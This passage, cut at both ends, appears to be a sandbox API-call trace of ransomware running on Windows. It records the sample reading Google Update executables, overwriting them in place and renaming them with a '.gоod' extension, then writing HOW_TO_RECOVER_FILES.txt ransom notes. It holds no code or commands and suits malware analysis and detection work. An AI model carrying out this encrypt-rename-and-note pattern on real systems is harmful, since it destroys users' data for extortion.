lpOverlapped=0x0) returned 1 [0120.170] CloseHandle (hObject=0x6e4) returned 1 [0120.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x0) returned 0x47 [0120.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0120.170] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0120.170] GetFileType (hFile=0x6e4) returned 0x1 [0120.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0120.170] GetFileType (hFile=0x6e4) returned 0x1 [0120.170] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x17850 [0120.170] WriteFile (in: hFile=0x6e4, lpBuffer=0x357d900*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x357d900*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0120.501] CloseHandle (hObject=0x6e4) returned 1 [0121.654] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x0) returned 0x47 [0121.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0121.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.654] GetFileType (hFile=0x7dc) returned 0x1 [0121.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0121.654] GetFileType (hFile=0x7dc) returned 0x1 [0121.654] ReadFile (in: hFile=0x7dc, lpBuffer=0x34bae40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34bae40*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0121.683] CloseHandle (hObject=0x7dc) returned 1 [0121.683] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x0) returned 0x47 [0121.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0121.683] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.684] GetFileType (hFile=0x7dc) returned 0x1 [0121.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0121.684] GetFileType (hFile=0x7dc) returned 0x1 [0121.684] WriteFile (in: hFile=0x7dc, lpBuffer=0x34b9b80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34b9b80*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0121.684] CloseHandle (hObject=0x7dc) returned 1 [0121.684] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe", lpFilePart=0x0) returned 0x47 [0121.684] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe.gоod", lpFilePart=0x0) returned 0x4c [0121.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0121.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x44be0d9f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17860)) returned 1 [0121.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0121.684] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateOnDemand.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdateondemand.exe.gоod")) returned 1 [0121.685] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x0) returned 0x44 [0121.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0121.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x3537938 | out: lpFileInformation=0x3537938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc8ddbb3d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113f58)) returned 1 [0121.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0121.685] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x0) returned 0x44 [0121.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0121.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.686] GetFileType (hFile=0x7dc) returned 0x1 [0121.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0121.686] GetFileType (hFile=0x7dc) returned 0x1 [0121.686] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0121.686] ReadFile (in: hFile=0x7dc, lpBuffer=0x3537d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3537d70*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0121.687] CloseHandle (hObject=0x7dc) returned 1 [0121.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x0) returned 0x44 [0121.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0121.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0121.687] GetFileType (hFile=0x7dc) returned 0x1 [0121.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0121.688] GetFileType (hFile=0x7dc) returned 0x1 [0121.688] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x113f58 [0121.688] WriteFile (in: hFile=0x7dc, lpBuffer=0x353b348*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x353b348*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0122.213] CloseHandle (hObject=0x7dc) returned 1 [0122.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x0) returned 0x44 [0122.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0122.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0122.295] GetFileType (hFile=0x7dc) returned 0x1 [0122.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0122.317] GetFileType (hFile=0x7dc) returned 0x1 [0122.317] ReadFile (in: hFile=0x7dc, lpBuffer=0x3448810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3448810*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0122.344] CloseHandle (hObject=0x7dc) returned 1 [0122.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x0) returned 0x44 [0122.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0122.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0122.345] GetFileType (hFile=0x7dc) returned 0x1 [0122.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0122.345] GetFileType (hFile=0x7dc) returned 0x1 [0122.345] WriteFile (in: hFile=0x7dc, lpBuffer=0x3410be8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3410be8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0122.345] CloseHandle (hObject=0x7dc) returned 1 [0122.345] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe", lpFilePart=0x0) returned 0x44 [0122.345] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe.gоod", lpFilePart=0x0) returned 0x49 [0122.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0122.345] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4522326f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x113f68)) returned 1 [0122.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0122.345] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateSetup.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatesetup.exe.gоod")) returned 1 [0122.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x0) returned 0x48 [0122.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0122.346] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), fInfoLevelId=0x0, lpFileInformation=0x34c67f8 | out: lpFileInformation=0x34c67f8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850)) returned 1 [0122.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0122.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x0) returned 0x48 [0122.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0122.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0122.346] GetFileType (hFile=0x7dc) returned 0x1 [0122.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0122.346] GetFileType (hFile=0x7dc) returned 0x1 [0122.346] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0122.347] ReadFile (in: hFile=0x7dc, lpBuffer=0x34c6c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34c6c50*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0122.349] CloseHandle (hObject=0x7dc) returned 1 [0122.349] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x0) returned 0x48 [0122.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0122.349] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0122.349] GetFileType (hFile=0x7dc) returned 0x1 [0122.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0122.349] GetFileType (hFile=0x7dc) returned 0x1 [0122.349] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x17850 [0122.349] WriteFile (in: hFile=0x7dc, lpBuffer=0x34c81d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34c81d0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0122.350] CloseHandle (hObject=0x7dc) returned 1 [0122.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x0) returned 0x48 [0122.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0122.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0122.350] GetFileType (hFile=0x7dc) returned 0x1 [0122.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0122.350] GetFileType (hFile=0x7dc) returned 0x1 [0122.350] ReadFile (in: hFile=0x7dc, lpBuffer=0x34cb848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34cb848*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0122.864] CloseHandle (hObject=0x7dc) returned 1 [0122.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x0) returned 0x48 [0122.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0122.864] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0122.864] GetFileType (hFile=0x7dc) returned 0x1 [0122.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0122.864] GetFileType (hFile=0x7dc) returned 0x1 [0122.864] WriteFile (in: hFile=0x7dc, lpBuffer=0x3400040*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3400040*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0122.864] CloseHandle (hObject=0x7dc) returned 1 [0122.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe", lpFilePart=0x0) returned 0x48 [0122.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe.gоod", lpFilePart=0x0) returned 0x4d [0122.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0122.865] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45734202, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17860)) returned 1 [0122.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0122.865] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateWebPlugin.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatewebplugin.exe.gоod")) returned 1 [0122.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0122.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedec0) returned 1 [0122.868] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0123.071] GetFileType (hFile=0x20c) returned 0x1 [0123.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede30) returned 1 [0123.071] GetFileType (hFile=0x20c) returned 0x1 [0124.222] WriteFile (in: hFile=0x20c, lpBuffer=0x3563120*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faedf88, lpOverlapped=0x0 | out: lpBuffer=0x3563120*, lpNumberOfBytesWritten=0x1faedf88*=0x5d0, lpOverlapped=0x0) returned 1 [0124.231] CloseHandle (hObject=0x20c) returned 1 [0125.601] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1faee3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0125.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee8f0) returned 1 [0125.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\update2\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0125.603] GetFileType (hFile=0x63c) returned 0x1 [0125.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee860) returned 1 [0125.603] GetFileType (hFile=0x63c) returned 0x1 [0125.604] WriteFile (in: hFile=0x63c, lpBuffer=0x356c4b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1faee9b8, lpOverlapped=0x0 | out: lpBuffer=0x356c4b0*, lpNumberOfBytesWritten=0x1faee9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0125.605] CloseHandle (hObject=0x63c) returned 1 [0125.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0125.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm", lpFilePart=0x0) returned 0x49 [0125.606] FindFirstFileW (in: lpFileName="C:\\Program Files 